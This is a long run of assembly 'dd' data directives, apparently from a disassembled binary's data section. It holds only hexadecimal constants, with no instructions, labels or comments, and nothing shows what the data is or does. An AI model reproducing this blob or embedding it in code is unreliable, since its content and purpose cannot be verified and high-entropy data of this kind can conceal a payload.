		dd 402EF917h, 19D70083h, 5A6F3C1Ch, 0C6E2793Ah,	166ED3Bh
		dd 0B2797C9h, 0FC30038Ah, 4F7C0008h, 717F3D51h,	0EE00EC4Ah
		dd 0DEF3305Dh, 7769FBh
		dd 4F4D49E7h, 0A570BD3Eh, 99960101h, 83C9AE62h,	38F33F8h
		dd 9A94CF8Bh, 0F9CFEC4Eh, 8DC04E8Eh, 0E2DC18B8h, 50912609h
		dd 0FFD68096h, 2E40A36h, 25FC548Bh, 9C40A0EAh, 330B8547h
		dd 272416B5h, 2110E6ECh, 72E7316Eh, 0F887E4Ch, 58CE1074h
		dd 0C43B7E20h, 0F6025ADEh, 0AE0789C1h, 40AC62D4h, 249E7872h
		dd 1A5FBE9h, 353BB7EEh,	0DC2BF857h, 290066EAh, 90566F69h
		dd 7EFCF2E8h, 617E00C3h, 70467D30h, 76005082h, 72D3BB0Dh
		dd 0E3A103h, 6368D885h,	1CC3A5D7h, 0F2503000h, 35765197h
		dd 0B55924ADh, 47B708B0h, 70438F40h, 938C0349h,	0B2E6B19Eh
		dd 0F45CA389h, 0B809B6F0h, 0D24A7Fh, 0AFC1997Bh, 96E9000Bh
		dd 0A65D143h, 97A8E7Eh,	806C9B3Ah, 0EDB46AC1h, 570EE7h
		dd 52E091C4h, 0B54CCC5Dh, 1B767D01h, 1842ED65h,	0B8FBF8F8h
		dd 0A65900D2h, 19132A45h, 0DB0015E5h, 0FC371B60h, 48CF8A4Fh
		dd 1C009812h, 2B3EBF0Bh, 130061ECh, 0F6B21509h,	2635F3h
		dd 84E54E71h, 9D2853D1h, 0B11D7B00h, 6B9E205Ch,	4FE8E372h
		dd 9A651DC2h, 9CEE402Ch, 7D5F762Bh, 1827F505h, 6880C68Ch
		dd 39D416Bh, 806FA6A8h,	0CE81763Ah, 51F8F7DFh, 560078C7h
		dd 571B10B0h, 4DD9CCh, 149CB305h, 454EDFB7h, 25D2C109h
		dd 8FCC0091h, 0BAA111h,	799C672Dh, 2F6ECF3Eh, 82364300h
		dd 27C8AF6Fh, 0A4B0EBh,	0CB75DAF7h, 93FF3DADh, 6DA2A514h
		dd 67620084h, 45A9F683h, 0ED310001h, 0A8789E88h, 2E03ADE6h
		dd 0B4FB4A43h, 53DD9923h, 97A5C06Ah, 0E6FECA74h, 0B5E3070Fh
		dd 1D7D0091h, 0B062E26Dh, 0A75F0E12h, 6B60E5A6h, 0BE979148h
		dd 0BF38FC60h, 9F8977h,	96E798ADh, 0D58A756Bh, 1F00CB90h
		dd 0B9A1F545h, 42FEA61h, 2A28D9A8h, 3F80A0D1h, 49C7BC1Fh
		dd 19B44740h, 9FB5EBh, 0F6BABEBDh, 0A14B3EDFh, 66FFCC1Eh
		dd 1D4A6200h, 58A88Bh, 0F9CEEAF2h, 49CF823Dh, 5799FCA0h
		dd 0E74C20E8h, 0CB7B0E08h, 0FDD4A0FAh, 0B0559C1Eh, 774A003Ch
		dd 7F439BE3h, 7A0E2DDEh, 406A2731h, 0B35854ECh,	0A9A100B2h
		dd 0CC9DE4ACh, 21003ADCh, 69C5A281h, 0DBD2B5h, 0AE688439h
		dd 0BA85E430h, 0A0006570h, 175DAF42h, 0B210B5h,	60126D56h
		dd 48710DB9h, 902A7500h, 672E914Bh, 60044CD1h, 79AC0075h
		dd 9AE40B0Fh, 0D0069B5h, 0EE68AD5Ch, 0E86BD680h, 5FE10008h
		dd 0A48B4C23h, 0EA13DE40h, 0A00054F8h, 0C4323DA9h, 0A38400D5h
		dd 0FE6E694Ch, 317E958Dh, 7D0B6500h, 0DE8198Eh,	715EAC8h
		dd 0A1721DBEh, 11660006h, 2F0062DFh, 6D31FA3Fh,	8135C4h
		dd 1FA994C9h, 6A0A8589h, 134AE400h, 87A42A07h, 0F8E20E5Bh
		dd 9AA06E19h, 0F9B47F0Ah, 909D1300h, 43D12B12h,	3B9C00F2h
		dd 0CAE69E38h, 4E7D9664h, 7E3BBDE4h, 5007A78h, 0F8BC4B82h
		dd 0B232B6h, 0B61E80Fh,	73CB2DA3h, 7E410500h, 0FC967C81h
		dd 80DC00F5h, 0B5861D63h, 2B00566Eh, 0AE0FD4ADh, 74DF97E1h
		dd 458002Dh, 3D10633Ah,	0B800BA95h, 6770A306h, 3BD3715h
		dd 0AB8F4D59h, 89A02756h, 6B2417D6h, 0D4809C68h, 78A7F236h
		dd 391600C2h, 5ED6B4ADh, 0FD0FE907h, 619FF81Ah,	3F3A0D53h
		dd 0EA25F3D0h, 0CEE1001Ch, 16AEFB93h, 0EF001454h, 9223097Bh
		dd 71E640Fh, 784379B7h,	0E74D3059h, 45E8F0F2h, 83D2D03Dh
		dd 8D15834Fh, 0FBCEA04Eh, 4BCB009Fh, 5CD30821h,	0C003973h
		dd 11E6598h, 2F320Fh, 7C82EEE1h, 53BDCBA9h, 0A7B4CE26h
		dd 0C955D000h, 0E482EDEh, 7E386FB8h, 4C22F8C0h,	6000E341h
		dd 0E9754B37h, 3A48EABBh, 8081C53Eh, 0DF5D65F4h, 3558FCC0h
		dd 7631EC05h, 0E31CFB63h, 22BF6E41h, 74FC0D3Fh,	0BEA50071h
		dd 0CA3ADBE1h, 0BB005CC8h, 0EB2F7D83h, 3C42BA27h, 0DB004FEDh
		dd 31295367h, 0CFF62B15h, 5F003C74h, 0F66F5BBEh, 205419h
		dd 69AAF4ABh, 7BFEADC9h, 4060E39h, 9E24E8A7h, 976334C1h
		dd 63601421h, 0D02A06D8h, 78D1311Fh, 76810B00h,	70C0CAF3h
		dd 92FC00D9h, 6F537EBAh, 5D09D873h, 8C42F462h, 7A930B3h
		dd 0DFD42D04h, 208B70A4h, 3F7AF985h, 0AC48A200h, 0FC621AF4h
		dd 105D00C2h, 548838B9h, 520017DFh, 0D095D292h,	0BAE77Ah
		dd 0A904391Ah, 0C9A109Fh, 5438CB00h, 85B5750Ah,	815300AFh
		dd 0E39652DBh, 0F207495Dh, 6DC978D0h, 1FC42065h, 0C0378083h
		dd 7DCA71h, 0C4247AEDh,	144EC19h, 22354Ch, 493D52C1h, 161D9AE0h
		dd 70420Fh, 0EF7ED0C8h,	0F40FC7BFh, 0A11A2444h,	0EFB7BC5h
		dd 62681080h, 61268CADh, 64FEF507h, 2D637D3Fh, 8EE9C060h
		dd 5A8007ABh, 7E4615h, 0CFEE1FB2h, 805E7F38h, 0F0A8489Fh
		dd 4DC3D93Fh, 2D005C83h, 0AA76D857h, 0DB0067B4h, 0EA0E4FF0h
		dd 3E5192h, 0DF08D112h,	370984E9h, 0B4B93100h, 4B9407A2h
		dd 0B3C71D6h, 0B3B0760Dh, 17A1E500h, 59FE9F4Dh,	266C8200h
		dd 0C1F366D9h, 9A9E0418h, 0C00A84B2h, 58F9F59Ch, 0A3DCA700h
		dd 16CB6B7Ah, 623707D6h, 60D89E99h, 0C2ACBF6Ch,	39853E00h
		dd 2D6A42C3h, 12B59053h, 0AB9A54h, 68787C26h, 0BC09AA18h
		dd 0A3321Dh, 3488C660h,	0ADE883B9h, 5000C1EEh, 5D6FEC9Bh
		dd 0EF1157h, 1E40875Eh,	58E76A3Fh, 0E6FB6800h, 89854803h
		dd 58FD73F0h, 0D4010130h, 7CF53BF9h, 1670DC4Fh,	77CA0E01h
		dd 8892F1EEh, 1705A8C0h, 664E1Fh, 9AD10123h, 2C002664h
		dd 9E1BDA50h, 0FED2C71Dh, 556803E6h, 0D99D1917h, 6375E7E8h
		dd 0AB07B0ECh, 9F5C85A1h, 470FDB34h, 0E75AECA0h, 0B00F7767h
		dd 401D89BAh, 0D12CDDF9h, 0C9193AD6h, 85DAA580h, 0FE8788F0h
		dd 596E201Eh, 2E65C341h, 24FCBD2Fh, 47E30BFDh, 0C080CBF2h
		dd 0F8F94F61h, 0B10FC6FCh, 866053h, 0B024BE33h,	39089071h
		dd 5A805BE3h, 0F1BDFAB9h, 2E00CBF0h, 91944EF5h,	0E2F8D086h
		dd 580102D3h, 7F3FF772h, 0D2C3AC40h, 57017C7Ch,	2EEB87EEh
		dd 4FF0C942h, 0C43F00E0h, 0B53D9083h, 0BC1F85B4h, 0C3CE1DC8h
		dd 0D7549ED0h, 0AEEF00B6h, 0F4E71F33h, 9030007Dh, 93853109h
		dd 0F3005C7Eh, 0D59AABE6h, 41A65DAh, 0F09AE52h,	48C8C17Bh
		dd 0B18FF8C0h, 0E789900Ch, 1405A0Bh, 576160EBh,	0CCF6BBE8h
		dd 0E583B66h, 4DD80321h, 904C7EDEh, 0C21E30h, 3FF461FBh
		dd 0D87BE18Eh, 73F61200h, 0FF3A2A8Ch, 0D23C00D1h, 5DE75589h
		dd 5E001FBBh, 1EF35A16h, 3E0B4Ch, 6A6B8EF2h, 56FA0FDEh
		dd 58F61300h, 0AB0E51DFh, 0D2FF0160h, 16CE9D0Dh, 6430FCF4h
		dd 7C44A548h, 0C31894FCh, 0E839EF02h, 0A45A008Ch, 8E7AFCC5h
		dd 1000D090h, 67F2A561h, 1D6539D6h, 0C5544BA3h,	0FE87BC3h
		dd 0C0239AC8h, 0EBC837E1h, 5A0034CBh, 54C2CA5Fh, 39B763h
		dd 0CD3F57C4h, 0EA9F1833h, 88007E4Fh, 786C3031h, 3D0D0315h
		dd 7BA32499h, 74C6D0DFh, 8148578Fh, 12A1FFBh, 33E13FC0h
		dd 2E7D66F2h, 1FD8A809h, 0BB00F815h, 0F97B3529h, 63039583h
		dd 0E0AF71F2h, 9972A87Eh, 0A7E1Ch, 854939C0h, 571F137Ch
		dd 0F60015E4h, 1675EDE5h, 5E5FA3h, 49B10768h, 0ECAAD47Ch
		dd 0FD17FC00h, 0F30E1199h, 4C60042h, 28B28929h,	957A78F5h
		dd 50607912h, 4F2FB200h, 0E976E262h, 350F003Fh,	34EC733Fh
		dd 8E78E300h, 77F5B62Fh, 69E500A6h, 8E9D6AFh, 800FD285h
		dd 0BE0DCEBBh, 0D8F813C7h, 0B17F1A51h, 3E3A8FD4h, 8A008337h
		dd 414AC1EAh, 0A5003D62h, 0DAB0D631h, 16CC6B3h,	658D9D5Eh
		dd 0D89871FDh
		dd 81003E1Ah, 10F3AEA1h, 1EA63ECh, 0FBA3545Ah, 7141B22Ah
		dd 9998F49Ch, 0BC525800h, 44CFBEEBh, 59C9237h, 2A0C3867h
		dd 1E7C808Fh, 520F3E07h, 0AF686294h, 0B0542006h, 0E67FFCh
		dd 29223084h, 85664183h, 0BD743Dh, 2177E3F2h, 1D9889DEh
		dd 808F38BFh, 0B20664C9h, 0BE00E9B1h, 6AA82939h, 1E803E0Fh
		dd 8024E38Dh, 4115A111h, 6C03E821h, 0FF7D0247h,	192904Fh
		dd 0B1EC7Ah, 65A05BF6h,	781B5E62h, 0CDCBEE02h, 604DC3EFh
		dd 8452D8h, 0E1D22479h,	0CC8B166Dh, 371428C1h, 0FAE0F49Eh
		dd 0BC4A073Bh, 0C2718328h, 54035E9h, 9601771Eh,	23269FC6h
		dd 9BE04A3Ah, 0C8A004C7h, 803021ECh, 9601A32Bh,	61676200h
		dd 0F32835BFh, 660831D5h, 0D4292E10h, 32008DD2h, 4A9B4201h
		dd 0CCA0EAh, 331CFF62h,	7C989D12h, 0EDA8FC00h, 711929B2h
		dd 2E8407EAh, 92B76731h, 25E36D97h, 0B18128E8h,	0F1EBC300h
		dd 0B7259FDFh, 4805C67h, 180D0100h, 78A2506Bh, 7A1A440Fh
		dd 0B93876Eh, 0DA33D9C0h, 89F900DFh, 143ECBC7h,	20DC9B1Ch
		dd 0E6603ACFh, 59F826h,	469521CFh, 2CCA03E0h, 996AC500h
		dd 0C67CC769h, 302400D7h, 55D8A784h, 2F77501Fh,	92E9BA06h
		dd 1891192Ah, 59EBBF15h, 8C008F0h, 687E623Ch, 0B769C0D9h
		dd 727395B6h, 0F32EF53Fh, 4F670805h, 0AB0EFC51h, 0D56A8433h
		dd 2B7E980h, 145C077Bh,	0C048062Bh, 68F383D1h, 0E1235007h
		dd 80FE9DB8h, 547C8621h, 0CE7BDAh, 3103A476h, 0A2D7D0FCh
		dd 4642AB00h, 403234E4h, 1B1F2DBh, 0C6AAC995h, 0EE039EE0h
		dd 9283B4E0h, 6E88E500h, 660DA9DEh, 37640616h, 0E07F1028h
		dd 2A8F38h, 120D4B3h, 855C43h, 0E25DBF14h, 0D9835422h
		dd 5B595117h, 0AEF1D447h, 675EAD80h, 0DBE7A064h, 48C62E31h
		dd 885804F9h, 682DC1DEh, 0D430AF7Bh, 980830C4h,	190018A8h
		dd 0A91703F5h, 0A0205Eh, 0EE4269B2h, 0D638132Ah, 302427EEh
		dd 3B002825h, 32FB670Ah, 0DCF20Eh, 0BEA08A9Eh, 484B049h
		dd 0DC658B24h, 3FC47D03h, 1AA10081h, 9C0C460Ah,	0FA00C78Fh
		dd 4401E943h, 7A5EA8h, 5DA52B51h, 0F9C1B1BAh, 560CB500h
		dd 8A30E179h, 0FC2F7DA3h, 0FD7DFCh, 4FC788A4h, 5F86789Ch
		dd 0F928200Fh, 1852E007h, 3ECECFC1h, 0B70C0B74h, 0D9809D7Eh
		dd 1BD2FD00h, 0F6FB5002h, 0EA971284h, 0F8C1C17h, 0B187F14Fh
		dd 0C125E0FCh, 5400BB5Bh, 8DBECD87h, 0FEB7447Dh, 0FD4E00F9h
		dd 91589893h, 130052CBh, 8DBC6ED0h, 0B5D9C3h, 3FEA945Ah
		dd 365C7F77h, 6B6005E8h, 20FC7A20h, 0C2B83C0Dh,	0A76AD280h
		dd 1358F5Ah, 4143400Eh,	7F8A4FF5h, 333D7680h, 1DADB1CAh
		dd 40847FF0h, 4F861F2Bh, 0A79874FDh, 0C15C1C79h, 0E6390085h
		dd 5BEA8B62h, 0F87A0093h, 0B3AA6E55h, 0CA606DB5h, 0D366EE58h
		dd 308D6376h, 0E9F0A787h, 11C0FFDAh, 61D0A6EDh,	23B81F43h
		dd 9A0541E0h, 80F11EE2h, 0D2F3BF20h, 0EACFF16h,	29FAB7F8h
		dd 2481FCC0h, 6300D3B9h, 0A3CCDDF4h, 1F76C731h,	80A2787Bh
		dd 0BEF78BABh, 81002E58h, 266B0754h, 2A454408h,	0CA48548h
		dd 0F45157EEh, 0E600B2D8h, 435A3828h, 0B826D914h, 498F0395h
		dd 489DF3DFh, 2F4E1880h, 6BA1D000h, 0EF98FBABh,	78D00E8h
		dd 0CD6A7680h, 771D1894h, 4A401104h, 51F4154Dh,	3B0507BEh
		dd 0B0A3798Dh, 61168CF3h, 0EDFBA700h, 809D4BF0h, 5C5B0033h
		dd 0F9B715D1h, 0BC030AEAh, 86BA1BE9h, 1604B040h, 923C00C4h
		dd 30B6D367h, 0BB005238h, 73C5559Eh, 1F9F6B80h,	4F6CA12Eh
		dd 0F40EB63h, 0BD5DF4FCh, 0BAA7B73Fh, 80BB18ABh, 18AD20h
		dd 77E6920Ch, 0BDF8D65Ch, 61E32500h, 488040C5h,	0B2C00152h
		dd 35F47D13h, 7098FF8Eh, 9D3E2E32h, 985903B6h, 364F4Eh
		dd 690E0B50h, 81BD71D6h, 0FFEB7000h, 0B8D948C0h, 7EB90C5h
		dd 0FCD61AAh, 8006C464h, 0EE236B2Fh, 0E45D6C00h, 73C2D3A6h
		dd 8DA71F69h, 413B40C4h, 66F394FCh, 0B02F2E1Ch,	73486340h
		dd 54FE92h, 3E387247h, 3C4AB775h, 9B45F603h, 83B1181Dh
		dd 67DB8062h, 0F2FE68h,	0CA85E48Eh, 72AEDA1Ah, 435BAD00h
		dd 86D4F97Dh, 10A96013h, 52593763h, 0DF565700h,	96E71F07h
		dd 9A394C27h, 0E009E300h, 146342C6h, 0F2037700h, 669576F9h
		dd 79C8002Fh, 0AA71349Ah, 1F1C2EB6h, 90C1ED26h,	776E04AFh
		dd 0E055DCh, 7DDB0F2Bh,	2368AB7Eh, 0BDE23D00h, 0CD9B317Fh
		dd 5AAD003Bh, 0CF8009FEh, 70079D18h, 26350BE0h,	1A907Ch
		dd 0C3876778h, 9EF9F5C8h, 74E69006h, 98442Dh, 7A47D8F3h
		dd 0C24D19D9h, 95B00763h, 0AB01880Eh, 94181817h, 0F84F0A7h
		dd 3F6D2500h, 9A1E916Eh, 1859014h, 0D5E6BBDEh, 518573F4h
		dd 9C82C32Ch, 0C7CC4D88h, 201E5943h, 7846ADBFh,	0A3F9122h
		dd 459BC431h, 8F7FD33h,	8A904497h, 22411922h, 5C117896h
		dd 89115815h, 802621A1h, 0F5CEA78Fh, 41427D73h,	36C50F11h
		dd 0F59408Eh, 149027DAh, 5BA9089Ch, 8894B188h, 5E623092h
		dd 950907E1h, 6DFC0267h, 184B70D2h, 0FDDDC4F9h,	683DC27h
		dd 81467138h, 0F726D8F8h, 808F72B1h, 84A2FB8Fh,	0FD609F05h
		dd 0F3729CEAh, 980D1930h, 0FFCD28h, 0A5C4BF4Eh,	9E49F5C7h
		dd 936538h, 52D3CCFCh, 0AE501Ch, 68627911h, 677FF89Fh
		dd 0D869DF00h, 0A74987F5h, 393E488h, 76ACD32Bh,	40B00A7Ch
		dd 6D00F25Ah, 963B39BAh, 0FB061B1h, 30EBFD0Ch, 68CD7D81h
		dd 92B2E8DCh, 0C308B704h, 2080A501h, 38475DB5h,	0AF28AEEAh
		dd 9D7E84h, 179EE5C2h, 0E0337B2h, 9C281EB0h, 0FB249814h
		dd 0D00A4CF1h, 0BD80C425h, 1EE5AA20h, 4BBB0053h, 6A0A055Ch
		dd 0AC01AFABh, 0A7330238h, 7FE0CC06h, 0AAE71CA0h, 0C0951C92h
		dd 2C902D8Bh, 6600E3C6h, 0CBC23B32h, 0FBAF02h, 0F4AB3315h
		dd 293C8625h, 18615000h, 85EA6B56h, 9451096Dh, 0B480EB5Ah
		dd 30EC7B2Dh, 18EC0B50h, 27FCFE54h, 0FB704E00h,	4F9E1A3Fh
		dd 0D4300FB3h, 880555Ah, 6A2C88ADh, 4D9DD00h, 1CBBECFCh
		dd 0CE0C5C5Dh, 60F84F05h, 116DC0C9h, 0F7BCB4E9h, 30E142Ch
		dd 9F3CA16Dh, 31C95ECFh, 0E0719Dh, 1255744Ah, 934CE50Fh
		dd 0CF8454EDh, 9EA7951Fh, 6D9B0A01h, 87D4B3A2h,	66FA001Eh
		dd 0D841B249h, 200F2328h, 0CE63B66Eh, 89C52005h, 0C34022h
		dd 603F9A39h, 0F4189221h, 6FCC20Eh, 0E99C08Bh, 0F6BE3Ah
		dd 97C9AF98h, 153C021Dh, 476D6309h, 60E0050h, 9AC2DCh
		dd 0E56595A8h, 0BD130DDh, 81991500h, 0F38F2758h, 0DBB72449h
		dd 89303A8h, 69B03F3Ah,	4F3A0D39h, 9CE20096h, 666D02D9h
		dd 821C00CCh, 0CBF78664h, 5907BB40h, 42A5CA6Ah,	0E1E07AC2h
		dd 0C6DCA25Eh, 0F929000Fh, 0DA4168Dh, 0D21E1323h, 0CB54AC12h
		dd 911A00E0h, 76AFD1Dh,	0E59F619h, 600A0C4Bh, 1AD93660h
		dd 670118EEh, 99BD3361h, 0E425CAD0h, 0B690D447h, 0C738B75h
		dd 0D28C29Fh, 8D41419h,	46E71ED6h, 0B2985C01h, 0E2D07131h
		dd 3D4D01D4h, 0DEB82CA6h, 0C5FEDC07h, 51FDA503h, 75F84276h
		dd 57D54428h, 646791Dh,	0A4D0BADCh, 77267108h, 0DDB7DA00h
		dd 31B0A7C7h, 9650DF61h, 68298804h, 8DAE865Dh, 75785052h
		dd 8CE5B289h, 1245BD01h, 50508492h, 28816E22h, 1C34759h
		dd 6B118A66h, 0AA799C72h, 785010E2h, 0F18A00D8h, 0E7A7FC56h
		dd 0FAB7081h, 0D64C864Dh, 0ECD15147h, 28D8DE51h, 0C3C74950h
		dd 0A2736229h, 885A5008h
		dd 0EE82081Ah, 0D1AAE800h, 549184h, 51CCEAA0h, 0DFDE0BDAh
		dd 0A647DC00h, 789BC607h, 676200D3h, 52CFAB85h,	6F006A60h
		dd 10088640h, 0DB1D44h,	9193D643h, 0CE84361Ch, 3C133A98h
		dd 0B7002594h, 0ABF94129h, 0F2EB006Fh, 0BA470A79h, 157796DFh
		dd 74F50100h, 70ABF45Eh, 754C002Ch, 7C63610Fh, 2D039119h
		dd 34312528h, 2C03F0E5h, 7F5500DFh, 8BF9E9ABh, 0A100D6BAh
		dd 77439A0h, 7377A3h, 7FA2CC64h, 9CA8CA7Eh, 0C2009EE0h
		dd 0A71C1359h, 83990h, 262E6C06h, 93B52A48h, 0AD079BF0h
		dd 2995ACA9h, 0C15FC8B0h, 3BE200EEh, 73CE0A3Eh,	2003B774h
		dd 9AA60D53h, 61EEB81Fh, 0F9D60064h, 0D2038013h, 0EB003DC0h
		dd 3AD3FCB4h, 82F0A4h, 8647F4B7h, 0DB37B977h, 7DFEB100h
		dd 0D00FE62Dh, 3F28E4E3h, 726496h, 5FF2FA21h, 0CDEE62B8h
		dd 0C53F2400h, 169B8005h, 0E5F4A0AAh, 8C0700D8h, 27F759E7h
		dd 34008153h, 303F1CFFh, 0CEF56Bh, 5B13AA1h, 0BE32C3B6h
		dd 8400FDECh, 233BA6D7h, 1AE1DBh, 0ECDC9919h, 49BB4F59h
		dd 275F8E00h, 813F07CEh, 0D3FE09B5h, 9480ED9Eh,	1FFB5940h
		dd 7821BA01h, 0F61790C8h, 39A50D20h, 89002FB2h,	5C1ACEEFh
		dd 193D7193h, 0DBCB85E4h, 26802A0Ch, 342B61h, 0C94DA3FDh
		dd 0FAEA398Ah, 0F6F6937Ch, 0C1074278h, 6B681D0Ch, 0A23FA080h
		dd 0E17F00ACh, 425DFB23h, 2F09B0B5h, 7C3F562h, 0D857FF0Dh
		dd 0E0D7F211h, 9892A1C4h, 5FF60026h, 0B4E59747h, 80028C0h
		dd 488B877Fh, 33C8F5h, 0CE197460h, 90B184A4h, 0B200BAF8h
		dd 1CD5BC1Fh, 3BFE2979h, 15DC970Fh, 0D6F77600h,	684BC4A9h
		dd 0CFF61B01h, 0A62E270Dh, 82060h, 0DD7E6264h, 3571440Ch
		dd 243C3148h, 2C006C2Dh, 1EEA325Dh, 2B3B1829h, 4BE8BE87h
		dd 40FCF20Fh, 0F780FD79h, 0BA28F693h, 0BEED06B1h, 40F4E1D7h
		dd 7E6AAC00h, 0C88442BCh, 0F8EB019Dh, 70D3DB01h, 28C3E87Dh
		dd 0B4683B00h, 538DAFCBh, 8CF10076h, 6D89F04Ch,	1E000C56h
		dd 49B02D4Bh, 1850174h,	0A7DBF637h, 0E355B7EDh,	0BFEA54C8h
		dd 42258300h, 0BAC32A6Ch, 9DCD3B63h, 1D6DAA80h,	47E346D8h
		dd 2FE52B03h, 0C0590AFEh, 91CE82h, 0BD5E092Eh, 0FF2C419Eh
		dd 1E1CACF2h, 0C4057EBh, 5C8767C7h, 38F80011h, 77ED347Fh
		dd 7016C92Fh, 1C0795F1h, 94301BCCh, 0C0D3F59h, 792E0F9Ch
		dd 0E300E7A8h, 0E6ABBD96h, 20CA588h, 14B25FE2h,	9187B16Ch
		dd 0C0D09567h, 2E6BBAE4h, 5C20D327h, 0C76D1FDEh, 4F170FA0h
		dd 0BFF30D20h, 6B00D81Eh, 2FEEE67Eh, 3B082477h,	2900C1AFh
		dd 0B4C80F79h, 0E0006E34h, 0D0439940h, 9067FAh,	0E70A61A2h
		dd 0B8EA0F09h, 1EC4BD09h, 77858010h, 3A275BB6h,	3A006992h
		dd 56B5AE4h, 893A881Eh,	0F0FC001Bh, 2AD661DDh, 0C7580C54h
		dd 0EE424C3Ch, 76B03A0Eh, 1BF8A778h, 9C144140h,	4E47052Bh
		dd 143BC30h, 54CE83D1h,	1955D0CCh, 1EF0CF00h, 0DA0DDE2Fh
		dd 70EBE812h, 220F0070h, 0D842AAA4h, 183FE547h,	0B9BF81BCh
		dd 0B19F356Dh, 0ABAE70h, 0D10EFCD2h, 4402CD25h,	0BC9E7C1Fh
		dd 7EBEBBh, 916307FDh, 5C356760h, 9A0036B4h, 5993FCA6h
		dd 46073CE1h, 41C58B51h, 0DCE7ADF0h, 901600A9h,	0A5D67E60h
		dd 0C2005ED2h, 0BFFD0BA7h, 3AA4580Fh, 79A8EEh, 2F7FF966h
		dd 98241A93h, 2C26C100h, 346C231h, 7A1B0C9Fh, 0A57A0206h
		dd 0A78E201Eh, 47260180h, 0F3AA8C6h, 0BBCF9477h, 46380176h
		dd 0E850A9CAh, 0AE4801BDh, 0BB523888h, 8042BE25h, 4407F42Ah
		dd 70774720h, 7B6C0036h, 944E0AA2h, 0C6008C6Bh,	86DCB25Dh
		dd 629259h, 53C0CB4h, 0CA7557F3h, 0BB544407h, 2140378Dh
		dd 7D8C80E6h, 14E1029Fh, 0A1863FE7h, 30EA7260h,	8BBD3A00h
		dd 0AFC7DEFh, 6C5100E4h, 1D21EE5Bh, 4D3928F1h, 691896E5h
		dd 34657C40h, 9875161Ch, 30721D10h, 0A52BC063h,	3817C1D9h
		dd 60340800h, 9F92EDE0h, 62D80374h, 201A0149h, 0FF2A54C8h
		dd 0DA835F00h, 6A812C14h, 227B0050h, 1AB77005h,	6001217Dh
		dd 598FF843h, 20F1AA71h, 0B1B0D0h, 92D1FC52h, 3D249C45h
		dd 9F430638h, 188019DFh, 86AF6EB8h, 40A20075h, 8537EF63h
		dd 3900467Ah, 4947CD88h, 7D9DCA34h, 0EE730C2Ch,	0D3C8705Fh
		dd 1CBD603h, 0C0239694h, 725A86Ch, 0D01E7CD2h, 0A05067F6h
		dd 0F4CFC30Bh, 99E1340Ah, 0FB00F0D9h, 0F251E237h, 0F17411h
		dd 3562740Fh, 540B91CFh, 0C0AC7230h, 0D3F3FFh, 960FED0Ah
		dd 8F08C1B7h, 6C2D5200h, 368C3C2Ch, 341E0065h, 140DF277h
		dd 0E300B344h, 72ED6CF9h, 94222Ah, 21E43776h, 0C44DC29Ch
		dd 8BE85A00h, 0CBA309CCh, 67E23C17h, 562F8180h,	2B4BDEA2h
		dd 7744EE00h, 9E3C8939h, 12C70F92h, 8066386Ch, 0E20060E0h
		dd 6FD1E62h, 324389h, 934B5F4Fh, 5DE9DFA2h, 0C3BBC800h
		dd 0D5142FFDh, 8B0803E2h, 28864E6Fh, 0B6D8C000h, 7F0BCCC4h
		dd 371C3F67h, 32D5AF80h, 0B73442B8h, 19F43E00h,	2B7DCE13h
		dd 975500ECh, 4EB55A0Ah, 50756623h, 0D0EB0200h,	0A8323FF3h
		dd 0A704000Dh, 916E9ACAh, 0BB03DDFAh, 0C0F1D1A5h, 0F343B0D5h
		dd 7D710053h, 4015987Ah, 0C2077C6Fh, 5F8C5B8Fh,	6B39C07Fh
		dd 0B96CB6h, 0F5A7A64Ah, 0D90DEF19h, 54EAE87Bh,	0A0000578h
		dd 0D59E188Fh, 0FD942Fh, 48D32338h, 6CDE5270h, 2B607E01h
		dd 253A115Ah, 8E53E4h, 0DFE319AAh, 4DAC939Ch, 0FC31AB00h
		dd 1B55B1C4h, 0FFF000B0h, 0FD81E970h, 0CD1EA83Ch, 5A074A15h
		dd 0AD50F231h, 0C75BEBh, 59098B9Eh, 2FD8A508h, 0DE219C0Ch
		dd 3130A2h, 0D457020Eh,	87F7EFE0h, 0A1BE9500h, 58821656h
		dd 0BA86173Ch, 5D780079h, 75CACDD6h, 45B1D71Dh,	0A0112D0Fh
		dd 3770D961h, 0DA62C222h, 6940E3C2h, 5E0089E2h,	0E80C1972h
		dd 0E4EFF0ADh, 0D677267Eh, 8A3B0026h, 295FF191h, 8056573Fh
		dd 0BB87FABDh, 0B0AA5128h, 5A94A031h, 52CA070Bh, 0A02566AEh
		dd 0E47B6D99h, 7DD30803h, 0C07C3D63h, 7FC812E1h, 0F28E0041h
		dd 864F73AAh, 6E00097Fh, 802C0CE7h, 4536CEh, 0A1395B88h
		dd 0F41C4881h, 4A01F7F6h, 27C5AC55h, 0DC9DD6CBh, 7F790190h
		dd 80C7AF63h, 4595139h,	716CEE0Ah, 0DC820F4Ah, 34A05361h
		dd 0F2603BD6h, 57DAAF00h, 0AA188EBAh, 0CF440FDEh, 70A0C12Eh
		dd 919E3E47h, 14FB8D3Ch, 0F21073h, 5805874h, 5037D02h
		dd 0B69F6299h, 0E544C366h, 0E6B0F0A3h, 97005177h, 0CFB2A55Fh
		dd 0E2CC56D5h, 0CEF7007Ch, 521BF5C9h, 0EE00BCE8h, 0EAFC9145h
		dd 0E2C6843h, 4FCEEC7Dh, 5369C920h, 0F9006350h,	0DEC087E6h
		dd 5D08CAh, 0A633BC23h,	0E1DFB439h, 1A215E1Dh, 984C6180h
		dd 0DE51C5h, 951FF904h,	3D2AE234h, 86D82300h, 17D46A22h
		dd 0AEB70060h, 8F102185h, 0BE0067CEh, 2C89A5E7h, 0A316A6h
		dd 0A1578EACh, 0C6B5FB7Eh, 0C8117105h, 0DE8025D3h, 5EED48h
		dd 0FC36AD7Fh, 4632FD65h, 0D673E02h, 40BAB27Ah,	3CAE71Fh
		dd 488486ECh, 32C0FFB6h, 0D8001537h, 0B1184E77h, 0E36D4B8h
		dd 3B6B226Ah, 0A555437Fh, 9CE01F8Fh, 0A800FDCBh, 190B00Ah
		dd 0E6FFD309h, 0CA20033h, 9A04AB38h, 0EA00D9C4h, 9F9C9DF3h
		dd 6613F2h, 0E12F02EBh,	54A08A76h, 0C037BE00h, 9B4F7F20h
		dd 6F7A45h, 6DD53D4Dh, 27CCCF11h, 0A613C626h, 0FC14053Fh
		dd 0FD00084Fh, 88C330F0h, 0C6E63858h, 6D3FFE83h, 22F8CFBAh
		dd 0D0001C36h, 5F6EDFFDh
		dd 500E6C93h, 8C8B9Fh, 353A22F7h, 0DCE1CDC1h, 0E61638h
		dd 0DE08A4F4h, 14BEFFh,	0E34E61C9h, 7CC5286Dh, 277AF200h
		dd 0D06F5E05h, 482B0001h, 438413FBh, 0EB143ED6h, 0E0B374h
